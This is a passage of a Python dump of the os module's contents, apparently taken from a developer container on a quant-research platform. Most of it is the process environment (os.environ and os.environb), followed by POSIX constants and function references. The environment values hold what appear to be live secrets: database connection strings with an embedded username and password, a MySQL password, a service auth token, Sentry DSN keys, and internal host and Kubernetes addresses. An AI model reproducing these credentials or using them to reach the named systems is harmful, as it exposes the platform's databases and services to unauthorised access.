'http://bigconfig-service.bigquant:9000', 'ZIM_HOME': '/opt/zim/zim-home', 'CPP': '/opt/rh/devtoolset-7/root/usr/bin/cpp', 'XDG_CONFIG_DIRS': '/etc/opt/rh/rh-mysql80/xdg:/etc/xdg', 'KBDEV_USERNAME': 'lqhan', 'RESOURCE_SPEC_NAME': 'K2(4C/16G)', 'PATH': '/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/bin/remote-cli:/usr/local/go/bin:/root/go/bin:/usr/local/go-root/bin:/opt/cargo/bin:/usr/local/bin/pipx:/home/aiuser/.local/bin:/home/aiuser/bin:/usr/local/nvidia/bin:/usr/local/cuda/bin:/usr/local/python3/bin:/opt/rh/rh-postgresql13/root/usr/bin:/opt/rh/rh-mysql80/root/usr/bin:/opt/rh/rh-git218/root/usr/bin:/opt/rh/httpd24/root/usr/bin:/opt/rh/httpd24/root/usr/sbin:/opt/rh/devtoolset-7/root/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'DEV_HOST': 'lqhan.dev.bigquant.ai', 'APP_ENABLED': '/var/app/enabled', 'BIGQUANT_USER': 'aiuser', 'pythonvers': '2.7', 'DEPLOYMENT_TYPE': 'C', 'DEV_PORT': '8090', 'PWD': '/home/aiuser/work', 'CUDA_MAIN_VERSION': '11.0', 'AISTUDIO_USER': 'aiuser', 'UNSET_PROXY': 'unset https_proxy http_proxy all_proxy no_proxy HTTPS_PROXY HTTP_PROXY ALL_PROXY NO_PROXY', 'USER_ID': '986c521f-2826-49ab-a5a6-e1bef80b5558', 'LANG': 'en_US.UTF-8', 'TZ': 'Asia/Shanghai', 'NODE_PATH': '/var/app/enabled/noderoot', 'CUDA_PKG_VERSION': '11-0', 'WINEPREFIX': '/wineprefix64', 'IS_AISTUDIO': 'True', 'BIGQUANT_UID': '1713', 'CUDA_VERSION': '11.0.221', 'PIPX_HOME': '/opt/pipx', 'rpmlibdir32': ':/opt/rh/devtoolset-7/root/usr/lib', 'CXX': '/opt/rh/devtoolset-7/root/usr/bin/g++', 'HOME': '/home/aiuser', 'DEPLOYMENT_ENV': 'C_LOCAL', 'SHLVL': '3', 'LANGUAGE': 'en_US.UTF-8', 'IMAGE_VERSION': 'tools/aistudio-kbdev:master_a7c1aa7_230820050012', 'WINEPATH': 'C:/stockranker', 'GOROOT': '/usr/local/go', 'BIGQUANT_GROUP': 'aiuser', 'KUBERNETES_PORT_443_TCP_PROTO': 'tcp', 'ZSH_CACHE_DIR': '/home/aiuser/.zsh-cache', 'KUBERNETES_SERVICE_PORT_HTTPS': '443', 'EXTENSIONS_GALLERY': '{"serviceUrl":"https://marketplace.visualstudio.com/_apis/public/gallery","cacheUrl":"https://vscode.blob.core.windows.net/gallery/index","itemUrl":"https://marketplace.visualstudio.com/items","controlUrl":"","recommendationsUrl":""}', 'QUOTA_NAME': 'K2(4C/16G)', 'STUDIO_ID': '986c521f-2826-49ab-a5a6-e1bef80b5558', 'bigjupyteruserservice__client__settings__jupyter_user_service_host': 'bigjupyteruserservice.bigquant:37111', 'WINEDEBUG': '-all,err+all', 'SERVICE_AUTH_TOKEN': 'e57f4e498d2c408fba38878614ce8db5159b643d035442d2add9ad663f5150ee', 'SENTRY_DSN_PYTHON': 'https://9d0302c7d680440c8b3c23af6905a9ef@sentry.bigquant.com:21379/5', 'XDG_DATA_DIRS': '/opt/rh/rh-mysql80/root/usr/share:/usr/local/share:/usr/share', 'SENTRY_DSN_AISTUDIO_FRONTEND': 'https://00bb839937044b3b953265c41d70b6bb@sentry.bigquant.com:21379/4', 'PKG_CONFIG_PATH': '/opt/rh/rh-postgresql13/root/usr/lib64/pkgconfig:/opt/rh/rh-mysql80/root/usr/lib64/pkgconfig:/opt/rh/httpd24/root/usr/lib64/pkgconfig', 'MYSQL_HOST': 'mysql-cluster-primary.bigquant', 'rpmlibdir': '/usr/lib64', 'INFOPATH': '/opt/rh/devtoolset-7/root/usr/share/info', 'PIP_USER_BASE': '/home/aiuser/.local', 'CC': '/opt/rh/devtoolset-7/root/usr/bin/gcc', 'KUBERNETES_PORT_443_TCP_ADDR': '10.96.0.1', 'INTERNAL_SERVICE_NAMESPACE': 'bigquant', 'POETRY_CACHE_DIR': '/var/cache/poetry', 'KUBERNETES_PORT_443_TCP': 'tcp://10.96.0.1:443', 'BIGQUANT_GID': '1713', 'RESOURCE_SPEC_ID': '413f7eca-0a1f-47b5-a167-c44237ae1975', '_': '/usr/local/python3/bin/python3', 'REMOTE_CONTAINERS_IPC': '/tmp/vscode-remote-containers-ipc-46495119-161d-4869-90f0-69c4fca265ec.sock', 'REMOTE_CONTAINERS_SOCKETS': '["/tmp/vscode-ssh-auth-46495119-161d-4869-90f0-69c4fca265ec.sock"]', 'LOGNAME': 'aiuser', 'OLDPWD': '/home/aiuser/work/bigauth', 'PAGER': 'less', 'NO_COLOR': '1', 'PROMPT_COMMAND': 'history -a', 'HISTFILE': '/home/aiuser/.zhistory', 'HISTSIZE': '10000', 'SSH_AUTH_SOCK': '/tmp/ssh-0coK21gk6zQn/agent.11053', 'REMOTE_CONTAINERS': 'true', 'BROWSER': '/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/bin/helpers/browser.sh', 'TERM_PROGRAM': 'vscode', 'TERM_PROGRAM_VERSION': '1.78.2', 'COLORTERM': 'truecolor', 'GIT_ASKPASS': '/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/extensions/git/dist/askpass.sh', 'VSCODE_GIT_ASKPASS_NODE': '/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/node', 'VSCODE_GIT_ASKPASS_EXTRA_ARGS': '', 'VSCODE_GIT_ASKPASS_MAIN': '/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/extensions/git/dist/askpass-main.js', 'VSCODE_GIT_IPC_HANDLE': '/tmp/vscode-git-03ca713007.sock', 'VSCODE_IPC_HOOK_CLI': '/tmp/vscode-ipc-1f65f058-5f4a-4f3b-a9de-ae8e03266c8e.sock', 'VSCODE_INJECTION': '1', 'USER_ZDOTDIR': '/opt/zim/zimfw', 'TERM': 'xterm-256color', 'GREP_COLOR': '37;45', 'GREP_COLORS': 'mt=37;45', 'LESS_TERMCAP_mb': '\x1b[1;31m', 'LESS_TERMCAP_md': '\x1b[1;31m', 'LESS_TERMCAP_me': '\x1b[0m', 'LESS_TERMCAP_ue': '\x1b[0m', 'LESS_TERMCAP_us': '\x1b[1;32m', 'LC_ALL': 'en_US.UTF-8', 'SSH_AGENT_PID': '11054'}), 'F_OK': 0, 'R_OK': 4, 'W_OK': 2, 'X_OK': 1, 'NGROUPS_MAX': 65536, 'TMP_MAX': 238328, 'WCONTINUED': 8, 'WNOHANG': 1, 'WUNTRACED': 2, 'O_RDONLY': 0, 'O_WRONLY': 1, 'O_RDWR': 2, 'O_NDELAY': 2048, 'O_NONBLOCK': 2048, 'O_APPEND': 1024, 'O_DSYNC': 4096, 'O_RSYNC': 1052672, 'O_SYNC': 1052672, 'O_NOCTTY': 256, 'O_CREAT': 64, 'O_EXCL': 128, 'O_TRUNC': 512, 'O_LARGEFILE': 0, 'O_PATH': 2097152, 'O_TMPFILE': 4259840, 'PRIO_PROCESS': 0, 'PRIO_PGRP': 1, 'PRIO_USER': 2, 'O_CLOEXEC': 524288, 'O_ACCMODE': 3, 'SEEK_HOLE': 4, 'SEEK_DATA': 3, 'O_ASYNC': 8192, 'O_DIRECT': 16384, 'O_DIRECTORY': 65536, 'O_NOFOLLOW': 131072, 'O_NOATIME': 262144, 'EX_OK': 0, 'EX_USAGE': 64, 'EX_DATAERR': 65, 'EX_NOINPUT': 66, 'EX_NOUSER': 67, 'EX_NOHOST': 68, 'EX_UNAVAILABLE': 69, 'EX_SOFTWARE': 70, 'EX_OSERR': 71, 'EX_OSFILE': 72, 'EX_CANTCREAT': 73, 'EX_IOERR': 74, 'EX_TEMPFAIL': 75, 'EX_PROTOCOL': 76, 'EX_NOPERM': 77, 'EX_CONFIG': 78, 'ST_RDONLY': 1, 'ST_NOSUID': 2, 'ST_NODEV': 4, 'ST_NOEXEC': 8, 'ST_SYNCHRONOUS': 16, 'ST_MANDLOCK': 64, 'ST_WRITE': 128, 'ST_APPEND': 256, 'ST_NOATIME': 1024, 'ST_NODIRATIME': 2048, 'ST_RELATIME': 4096, 'POSIX_FADV_NORMAL': 0, 'POSIX_FADV_SEQUENTIAL': 2, 'POSIX_FADV_RANDOM': 1, 'POSIX_FADV_NOREUSE': 5, 'POSIX_FADV_WILLNEED': 3, 'POSIX_FADV_DONTNEED': 4, 'P_PID': 1, 'P_PGID': 2, 'P_ALL': 0, 'WEXITED': 4, 'WNOWAIT': 16777216, 'WSTOPPED': 2, 'CLD_EXITED': 1, 'CLD_DUMPED': 3, 'CLD_TRAPPED': 4, 'CLD_CONTINUED': 6, 'F_LOCK': 1, 'F_TLOCK': 2, 'F_ULOCK': 0, 'F_TEST': 3, 'POSIX_SPAWN_OPEN': 0, 'POSIX_SPAWN_CLOSE': 1, 'POSIX_SPAWN_DUP2': 2, 'SCHED_OTHER': 0, 'SCHED_FIFO': 1, 'SCHED_RR': 2, 'SCHED_BATCH': 3, 'SCHED_IDLE': 5, 'SCHED_RESET_ON_FORK': 1073741824, 'XATTR_CREATE': 1, 'XATTR_REPLACE': 2, 'XATTR_SIZE_MAX': 65536, 'RTLD_LAZY': 1, 'RTLD_NOW': 2, 'RTLD_GLOBAL': 256, 'RTLD_LOCAL': 0, 'RTLD_NODELETE': 4096, 'RTLD_NOLOAD': 4, 'RTLD_DEEPBIND': 8, 'GRND_RANDOM': 2, 'GRND_NONBLOCK': 1, 'pathconf_names': {'PC_ALLOC_SIZE_MIN': 18, 'PC_ASYNC_IO': 10, 'PC_CHOWN_RESTRICTED': 6, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_MAX_CANON': 1, 'PC_MAX_INPUT': 2, 'PC_NAME_MAX': 3, 'PC_NO_TRUNC': 7, 'PC_PATH_MAX': 4, 'PC_PIPE_BUF': 5, 'PC_PRIO_IO': 11, 'PC_REC_INCR_XFER_SIZE': 14, 'PC_REC_MAX_XFER_SIZE': 15, 'PC_REC_MIN_XFER_SIZE': 16, 'PC_REC_XFER_ALIGN': 17, 'PC_SOCK_MAXBUF': 12, 'PC_SYMLINK_MAX': 19, 'PC_SYNC_IO': 9, 'PC_VDISABLE': 8}, 'confstr_names': {'CS_GNU_LIBC_VERSION': 2, 'CS_GNU_LIBPTHREAD_VERSION': 3, 'CS_LFS64_CFLAGS': 1004, 'CS_LFS64_LDFLAGS': 1005, 'CS_LFS64_LIBS': 1006, 'CS_LFS64_LINTFLAGS': 1007, 'CS_LFS_CFLAGS': 1000, 'CS_LFS_LDFLAGS': 1001, 'CS_LFS_LIBS': 1002, 'CS_LFS_LINTFLAGS': 1003, 'CS_PATH': 0, 'CS_XBS5_ILP32_OFF32_CFLAGS': 1100, 'CS_XBS5_ILP32_OFF32_LDFLAGS': 1101, 'CS_XBS5_ILP32_OFF32_LIBS': 1102, 'CS_XBS5_ILP32_OFF32_LINTFLAGS': 1103, 'CS_XBS5_ILP32_OFFBIG_CFLAGS': 1104, 'CS_XBS5_ILP32_OFFBIG_LDFLAGS': 1105, 'CS_XBS5_ILP32_OFFBIG_LIBS': 1106, 'CS_XBS5_ILP32_OFFBIG_LINTFLAGS': 1107, 'CS_XBS5_LP64_OFF64_CFLAGS': 1108, 'CS_XBS5_LP64_OFF64_LDFLAGS': 1109, 'CS_XBS5_LP64_OFF64_LIBS': 1110, 'CS_XBS5_LP64_OFF64_LINTFLAGS': 1111, 'CS_XBS5_LPBIG_OFFBIG_CFLAGS': 1112, 'CS_XBS5_LPBIG_OFFBIG_LDFLAGS': 1113, 'CS_XBS5_LPBIG_OFFBIG_LIBS': 1114, 'CS_XBS5_LPBIG_OFFBIG_LINTFLAGS': 1115}, 'sysconf_names': {'SC_2_CHAR_TERM': 95, 'SC_2_C_BIND': 47, 'SC_2_C_DEV': 48, 'SC_2_C_VERSION': 96, 'SC_2_FORT_DEV': 49, 'SC_2_FORT_RUN': 50, 'SC_2_LOCALEDEF': 52, 'SC_2_SW_DEV': 51, 'SC_2_UPE': 97, 'SC_2_VERSION': 46, 'SC_AIO_LISTIO_MAX': 23, 'SC_AIO_MAX': 24, 'SC_AIO_PRIO_DELTA_MAX': 25, 'SC_ARG_MAX': 0, 'SC_ASYNCHRONOUS_IO': 12, 'SC_ATEXIT_MAX': 87, 'SC_AVPHYS_PAGES': 86, 'SC_BC_BASE_MAX': 36, 'SC_BC_DIM_MAX': 37, 'SC_BC_SCALE_MAX': 38, 'SC_BC_STRING_MAX': 39, 'SC_CHARCLASS_NAME_MAX': 45, 'SC_CHAR_BIT': 101, 'SC_CHAR_MAX': 102, 'SC_CHAR_MIN': 103, 'SC_CHILD_MAX': 1, 'SC_CLK_TCK': 2, 'SC_COLL_WEIGHTS_MAX': 40, 'SC_DELAYTIMER_MAX': 26, 'SC_EQUIV_CLASS_MAX': 41, 'SC_EXPR_NEST_MAX': 42, 'SC_FSYNC': 15, 'SC_GETGR_R_SIZE_MAX': 69, 'SC_GETPW_R_SIZE_MAX': 70, 'SC_INT_MAX': 104, 'SC_INT_MIN': 105, 'SC_IOV_MAX': 60, 'SC_JOB_CONTROL': 7, 'SC_LINE_MAX': 43, 'SC_LOGIN_NAME_MAX': 71, 'SC_LONG_BIT': 106, 'SC_MAPPED_FILES': 16, 'SC_MB_LEN_MAX': 108, 'SC_MEMLOCK': 17, 'SC_MEMLOCK_RANGE': 18, 'SC_MEMORY_PROTECTION': 19, 'SC_MESSAGE_PASSING': 20, 'SC_MQ_OPEN_MAX': 27, 'SC_MQ_PRIO_MAX': 28, 'SC_NGROUPS_MAX': 3, 'SC_NL_ARGMAX': 119, 'SC_NL_LANGMAX': 120, 'SC_NL_MSGMAX': 121, 'SC_NL_NMAX': 122, 'SC_NL_SETMAX': 123, 'SC_NL_TEXTMAX': 124, 'SC_NPROCESSORS_CONF': 83, 'SC_NPROCESSORS_ONLN': 84, 'SC_NZERO': 109, 'SC_OPEN_MAX': 4, 'SC_PAGESIZE': 30, 'SC_PAGE_SIZE': 30, 'SC_PASS_MAX': 88, 'SC_PHYS_PAGES': 85, 'SC_PII': 53, 'SC_PII_INTERNET': 56, 'SC_PII_INTERNET_DGRAM': 62, 'SC_PII_INTERNET_STREAM': 61, 'SC_PII_OSI': 57, 'SC_PII_OSI_CLTS': 64, 'SC_PII_OSI_COTS': 63, 'SC_PII_OSI_M': 65, 'SC_PII_SOCKET': 55, 'SC_PII_XTI': 54, 'SC_POLL': 58, 'SC_PRIORITIZED_IO': 13, 'SC_PRIORITY_SCHEDULING': 10, 'SC_REALTIME_SIGNALS': 9, 'SC_RE_DUP_MAX': 44, 'SC_RTSIG_MAX': 31, 'SC_SAVED_IDS': 8, 'SC_SCHAR_MAX': 111, 'SC_SCHAR_MIN': 112, 'SC_SELECT': 59, 'SC_SEMAPHORES': 21, 'SC_SEM_NSEMS_MAX': 32, 'SC_SEM_VALUE_MAX': 33, 'SC_SHARED_MEMORY_OBJECTS': 22, 'SC_SHRT_MAX': 113, 'SC_SHRT_MIN': 114, 'SC_SIGQUEUE_MAX': 34, 'SC_SSIZE_MAX': 110, 'SC_STREAM_MAX': 5, 'SC_SYNCHRONIZED_IO': 14, 'SC_THREADS': 67, 'SC_THREAD_ATTR_STACKADDR': 77, 'SC_THREAD_ATTR_STACKSIZE': 78, 'SC_THREAD_DESTRUCTOR_ITERATIONS': 73, 'SC_THREAD_KEYS_MAX': 74, 'SC_THREAD_PRIORITY_SCHEDULING': 79, 'SC_THREAD_PRIO_INHERIT': 80, 'SC_THREAD_PRIO_PROTECT': 81, 'SC_THREAD_PROCESS_SHARED': 82, 'SC_THREAD_SAFE_FUNCTIONS': 68, 'SC_THREAD_STACK_MIN': 75, 'SC_THREAD_THREADS_MAX': 76, 'SC_TIMERS': 11, 'SC_TIMER_MAX': 35, 'SC_TTY_NAME_MAX': 72, 'SC_TZNAME_MAX': 6, 'SC_T_IOV_MAX': 66, 'SC_UCHAR_MAX': 115, 'SC_UINT_MAX': 116, 'SC_UIO_MAXIOV': 60, 'SC_ULONG_MAX': 117, 'SC_USHRT_MAX': 118, 'SC_VERSION': 29, 'SC_WORD_BIT': 107, 'SC_XBS5_ILP32_OFF32': 125, 'SC_XBS5_ILP32_OFFBIG': 126, 'SC_XBS5_LP64_OFF64': 127, 'SC_XBS5_LPBIG_OFFBIG': 128, 'SC_XOPEN_CRYPT': 92, 'SC_XOPEN_ENH_I18N': 93, 'SC_XOPEN_LEGACY': 129, 'SC_XOPEN_REALTIME': 130, 'SC_XOPEN_REALTIME_THREADS': 131, 'SC_XOPEN_SHM': 94, 'SC_XOPEN_UNIX': 91, 'SC_XOPEN_VERSION': 89, 'SC_XOPEN_XCU_VERSION': 90, 'SC_XOPEN_XPG2': 98, 'SC_XOPEN_XPG3': 99, 'SC_XOPEN_XPG4': 100}, 'error': <class 'OSError'>, 'waitid_result': <class 'posix.waitid_result'>, 'stat_result': <class 'os.stat_result'>, 'statvfs_result': <class 'os.statvfs_result'>, 'sched_param': <class 'posix.sched_param'>, 'times_result': <class 'posix.times_result'>, 'uname_result': <class 'posix.uname_result'>, 'terminal_size': <class 'os.terminal_size'>, 'DirEntry': <class 'posix.DirEntry'>, '_exit': <built-in function _exit>, 'path': <module 'posixpath' from '/usr/local/python3/lib/python3.8/posixpath.py'>, 'curdir': '.', 'pardir': '..', 'sep': '/', 'pathsep': ':', 'defpath': '/bin:/usr/bin', 'extsep': '.', 'altsep': None, 'devnull': '/dev/null', 'supports_dir_fd': {<built-in function open>, <built-in function chown>, <built-in function utime>, <built-in function mknod>, <built-in function mkdir>, <built-in function link>, <built-in function mkfifo>, <built-in function access>, <built-in function stat>, <built-in function symlink>, <built-in function unlink>, <built-in function chmod>, <built-in function readlink>, <built-in function rmdir>, <built-in function rename>}, 'supports_effective_ids': {<built-in function access>}, 'supports_fd': {<built-in function chown>, <built-in function utime>, <built-in function chdir>, <built-in function listdir>, <built-in function execve>, <built-in function stat>, <built-in function truncate>, <built-in function pathconf>, <built-in function scandir>, <built-in function chmod>, <built-in function statvfs>}, 'supports_follow_symlinks': {<built-in function chown>, <built-in function utime>, <built-in function link>, <built-in function access>, <built-in function stat>}, 'SEEK_SET': 0, 'SEEK_CUR': 1, 'SEEK_END': 2, 'makedirs': <function makedirs at 0x7f452cd720d0>, 'removedirs': <function removedirs at 0x7f452cce6160>, 'renames': <function renames at 0x7f452cce61f0>, 'walk': <function walk at 0x7f452cce6280>, 'fwalk': <function fwalk at 0x7f452cce6310>, '_fwalk': <function _fwalk at 0x7f452cce63a0>, 'execl': <function execl at 0x7f452cce6430>, 'execle': <function execle at 0x7f452cce64c0>, 'execlp': <function execlp at 0x7f452cce6550>, 'execlpe': <function execlpe at 0x7f452cce65e0>, 'execvp': <function execvp at 0x7f452cce6670>, 'execvpe': <function execvpe at 0x7f452cce6700>, '_execvpe': <function _execvpe at 0x7f452cce6790>, 'get_exec_path': <function get_exec_path at 0x7f452cce6820>, 'MutableMapping': <class 'collections.abc.MutableMapping'>, '_Environ': <class 'os._Environ'>, '_putenv': <built-in function putenv>, '_unsetenv': <built-in function unsetenv>, 'getenv': <function getenv at 0x7f452cce68b0>, 'supports_bytes_environ': True, 'environb': environ({b'SECONDARY_DB_CONN_STR': b'mysql://aiadm:nNBLQrurB0eDyHwg@mysql-cluster-primary.bigquant:3306/lqhan_bigai?pool_recycle=1500', b'MANPATH': b'/opt/rh/rh-postgresql13/root/usr/share/man:/opt/rh/rh-mysql80/root/usr/share/man:/opt/rh/rh-git218/root/usr/share/man:/opt/rh/httpd24/root/usr/share/man:/opt/rh/devtoolset-7/root/usr/share/man:', b'CUDNN_VERSION': b'8.0.5.39', b'HOSTNAME': b'studio-986c521f-2826-49ab-a5a6-e1bef80b5558-6545575b95-pm97q', b'SENTRY_ENABLED': b'False', b'AISTUDIO_EXT_DIR': b'/home/aiuser/.local/share/aistudio/extensions', b'PRIMARY_DB_CONN_STR': b'mysql://aiadm:nNBLQrurB0eDyHwg@mysql-cluster-primary.bigquant:3306/lqhan_bigai?pool_recycle=1500', b'MYSQL_PWD': b'zreYtwCGV5eMcJ7W', b'KUBERNETES_PORT': b'tcp://10.96.0.1:443', b'KUBERNETES_PORT_443_TCP_PORT': b'443', b'SHELL': b'/bin/bash', b'PIP_USER_SITE': b'/home/aiuser/.local/lib/python3.8/site-packages', b'PIPX_BIN_DIR': b'/usr/local/bin/pipx', b'AUTH_SERVICE_HOST': b'http://bigauth.bigquant:8000', b'JPY_USER': b'lqhan', b'CURL_CA_BUNDLE': b'', b'PERL5LIB': b'/opt/rh/rh-git218/root/usr/share/perl5/vendor_perl:/opt/rh/devtoolset-7/root//usr/lib64/perl5/vendor_perl:/opt/rh/devtoolset-7/root/usr/lib/perl5:/opt/rh/devtoolset-7/root//usr/share/perl5/vendor_perl', b'LIBRARY_PATH': b'/opt/rh/rh-postgresql13/root/usr/lib64:/opt/rh/rh-mysql80/root/usr/lib64:/opt/rh/httpd24/root/usr/lib64', b'KUBERNETES_SERVICE_PORT': b'443', b'bigmodulemanager__moduleservice__settings__host': b'bigmodulemanagerservice.bigquant:37101', b'SENTRY_DSN_AISTUDIO_BACKEND': b'https://5ae8cb551d9b4a89919dc9411b227d64@sentry.bigquant.com:21379/3', b'ZDOTDIR': b'/opt/zim/zimfw', b'KUBERNETES_SERVICE_HOST': b'10.96.0.1', b'JAVACONFDIRS': b'/etc/opt/rh/rh-postgresql13/java:/etc/opt/rh/rh-mysql80/java:/etc/java', b'RELEASE_VERSION': b'dev', b'CPU_LIMIT': b'4', b'AISTUDIO_GROUP': b'aiuser', b'PCP_DIR': b'/opt/rh/devtoolset-7/root', b'AISTUDIO_VERSION': b'6.11.1', b'LD_LIBRARY_PATH': b'/usr/lib64:/usr/lib:/usr/local/nvidia/lib:/usr/local/nvidia/lib64:/usr/local/cuda/lib64:/usr/local/cuda/lib64/stubs:/opt/rh/rh-postgresql13/root/usr/lib64:/opt/rh/rh-mysql80/root/usr/lib64:/opt/rh/httpd24/root/usr/lib64:/opt/rh/httpd24/root/usr/lib64:/opt/rh/devtoolset-7/root/usr/lib64:/opt/rh/devtoolset-7/root/usr/lib:/opt/rh/devtoolset-7/root/usr/lib64/dyninst:/opt/rh/devtoolset-7/root/usr/lib/dyninst:/usr/local/lib/oracle_client/instantclient_19_5:/opt/sqlanywhere17/lib64:/usr/local/tradersdk/lib64:/var/app/enabled/bigtrader2/bigtrader/utils:/var/app/enabled/lib:/var/app/bigmaold/lib', b'NVIDIA_VISIBLE_DEVICES': b'void', b'PYCURL_SSL_LIBRARY': b'nss', b'PLATFORM_EXT_DIR': b'/opt/aistudio/extensions', b'NAMESPACE': b'bigquant', b'USER_NAME': b'lqhan', b'CPATH': b'/opt/rh/rh-postgresql13/root/usr/include:/opt/rh/rh-mysql80/root/usr/include', b'WINEARCH': b'win64', b'BIGQUANT_HOME': b'', b'EXPORT_PROXY': b'export         https_proxy=http://proxy.bigquant.ai:31701         http_proxy=http://proxy.bigquant.ai:31701         all_proxy=socks5://proxy.bigquant.ai:31701         no_proxy="127.0.0.1,localhost,local,.bigquant.ai,.bigquant.com,.aliyun.com,.aliyuncs.com,.tsinghua.edu.cn,goproxy.cn,.qiniucs.com,.myqcloud.com,.local,10.24.0.0/16,192.168.1.0/24,192.168.31.0/24"         HTTPS_PROXY=http://proxy.bigquant.ai:31701         HTTP_PROXY=http://proxy.bigquant.ai:31701         ALL_PROXY=socks5://proxy.bigquant.ai:31701         NO_PROXY="127.0.0.1,localhost,local,.bigquant.ai,.bigquant.com,.aliyun.com,.aliyuncs.com,.tsinghua.edu.cn,goproxy.cn,.qiniucs.com,.myqcloud.com,.local,10.24.0.0/16,192.168.1.0/24,192.168.31.0/24"', b'ENABLE_BIGMA_DATA': b'True', b'BIGCONFIG_SERVICE_HOST': b'http://bigconfig-service.bigquant:9000', b'ZIM_HOME': b'/opt/zim/zim-home', b'CPP': b'/opt/rh/devtoolset-7/root/usr/bin/cpp', b'XDG_CONFIG_DIRS': b'/etc/opt/rh/rh-mysql80/xdg:/etc/xdg', b'KBDEV_USERNAME': b'lqhan', b'RESOURCE_SPEC_NAME': b'K2(4C/16G)', b'PATH': b'/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/bin/remote-cli:/usr/local/go/bin:/root/go/bin:/usr/local/go-root/bin:/opt/cargo/bin:/usr/local/bin/pipx:/home/aiuser/.local/bin:/home/aiuser/bin:/usr/local/nvidia/bin:/usr/local/cuda/bin:/usr/local/python3/bin:/opt/rh/rh-postgresql13/root/usr/bin:/opt/rh/rh-mysql80/root/usr/bin:/opt/rh/rh-git218/root/usr/bin:/opt/rh/httpd24/root/usr/bin:/opt/rh/httpd24/root/usr/sbin:/opt/rh/devtoolset-7/root/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', b'DEV_HOST': b'lqhan.dev.bigquant.ai', b'APP_ENABLED': b'/var/app/enabled', b'BIGQUANT_USER': b'aiuser', b'pythonvers': b'2.7', b'DEPLOYMENT_TYPE': b'C', b'DEV_PORT': b'8090', b'PWD': b'/home/aiuser/work', b'CUDA_MAIN_VERSION': b'11.0', b'AISTUDIO_USER': b'aiuser', b'UNSET_PROXY': b'unset https_proxy http_proxy all_proxy no_proxy HTTPS_PROXY HTTP_PROXY ALL_PROXY NO_PROXY', b'USER_ID': b'986c521f-2826-49ab-a5a6-e1bef80b5558', b'LANG': b'en_US.UTF-8', b'TZ': b'Asia/Shanghai', b'NODE_PATH': b'/var/app/enabled/noderoot', b'CUDA_PKG_VERSION': b'11-0', b'WINEPREFIX': b'/wineprefix64', b'IS_AISTUDIO': b'True', b'BIGQUANT_UID': b'1713', b'CUDA_VERSION': b'11.0.221', b'PIPX_HOME': b'/opt/pipx', b'rpmlibdir32': b':/opt/rh/devtoolset-7/root/usr/lib', b'CXX': b'/opt/rh/devtoolset-7/root/usr/bin/g++', b'HOME': b'/home/aiuser', b'DEPLOYMENT_ENV': b'C_LOCAL', b'SHLVL': b'3', b'LANGUAGE': b'en_US.UTF-8', b'IMAGE_VERSION': b'tools/aistudio-kbdev:master_a7c1aa7_230820050012', b'WINEPATH': b'C:/stockranker', b'GOROOT': b'/usr/local/go', b'BIGQUANT_GROUP': b'aiuser', b'KUBERNETES_PORT_443_TCP_PROTO': b'tcp', b'ZSH_CACHE_DIR': b'/home/aiuser/.zsh-cache', b'KUBERNETES_SERVICE_PORT_HTTPS': b'443', b'EXTENSIONS_GALLERY': b'{"serviceUrl":"https://marketplace.visualstudio.com/_apis/public/gallery","cacheUrl":"https://vscode.blob.core.windows.net/gallery/index","itemUrl":"https://marketplace.visualstudio.com/items","controlUrl":"","recommendationsUrl":""}', b'QUOTA_NAME': b'K2(4C/16G)', b'STUDIO_ID': b'986c521f-2826-49ab-a5a6-e1bef80b5558', b'bigjupyteruserservice__client__settings__jupyter_user_service_host': b'bigjupyteruserservice.bigquant:37111', b'WINEDEBUG': b'-all,err+all', b'SERVICE_AUTH_TOKEN': b'e57f4e498d2c408fba38878614ce8db5159b643d035442d2add9ad663f5150ee', b'SENTRY_DSN_PYTHON': b'https://9d0302c7d680440c8b3c23af6905a9ef@sentry.bigquant.com:21379/5', b'XDG_DATA_DIRS': b'/opt/rh/rh-mysql80/root/usr/share:/usr/local/share:/usr/share', b'SENTRY_DSN_AISTUDIO_FRONTEND': b'https://00bb839937044b3b953265c41d70b6bb@sentry.bigquant.com:21379/4', b'PKG_CONFIG_PATH': b'/opt/rh/rh-postgresql13/root/usr/lib64/pkgconfig:/opt/rh/rh-mysql80/root/usr/lib64/pkgconfig:/opt/rh/httpd24/root/usr/lib64/pkgconfig', b'MYSQL_HOST': b'mysql-cluster-primary.bigquant', b'rpmlibdir': b'/usr/lib64', b'INFOPATH': b'/opt/rh/devtoolset-7/root/usr/share/info', b'PIP_USER_BASE': b'/home/aiuser/.local', b'CC': b'/opt/rh/devtoolset-7/root/usr/bin/gcc', b'KUBERNETES_PORT_443_TCP_ADDR': b'10.96.0.1', b'INTERNAL_SERVICE_NAMESPACE': b'bigquant', b'POETRY_CACHE_DIR': b'/var/cache/poetry', b'KUBERNETES_PORT_443_TCP': b'tcp://10.96.0.1:443', b'BIGQUANT_GID': b'1713', b'RESOURCE_SPEC_ID': b'413f7eca-0a1f-47b5-a167-c44237ae1975', b'_': b'/usr/local/python3/bin/python3', b'REMOTE_CONTAINERS_IPC': b'/tmp/vscode-remote-containers-ipc-46495119-161d-4869-90f0-69c4fca265ec.sock', b'REMOTE_CONTAINERS_SOCKETS': b'["/tmp/vscode-ssh-auth-46495119-161d-4869-90f0-69c4fca265ec.sock"]', b'LOGNAME': b'aiuser', b'OLDPWD': b'/home/aiuser/work/bigauth', b'PAGER': b'less', b'NO_COLOR': b'1', b'PROMPT_COMMAND': b'history -a', b'HISTFILE': b'/home/aiuser/.zhistory', b'HISTSIZE': b'10000', b'SSH_AUTH_SOCK': b'/tmp/ssh-0coK21gk6zQn/agent.11053', b'REMOTE_CONTAINERS': b'true', b'BROWSER': b'/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/bin/helpers/browser.sh', b'TERM_PROGRAM': b'vscode', b'TERM_PROGRAM_VERSION': b'1.78.2', b'COLORTERM': b'truecolor', b'GIT_ASKPASS': 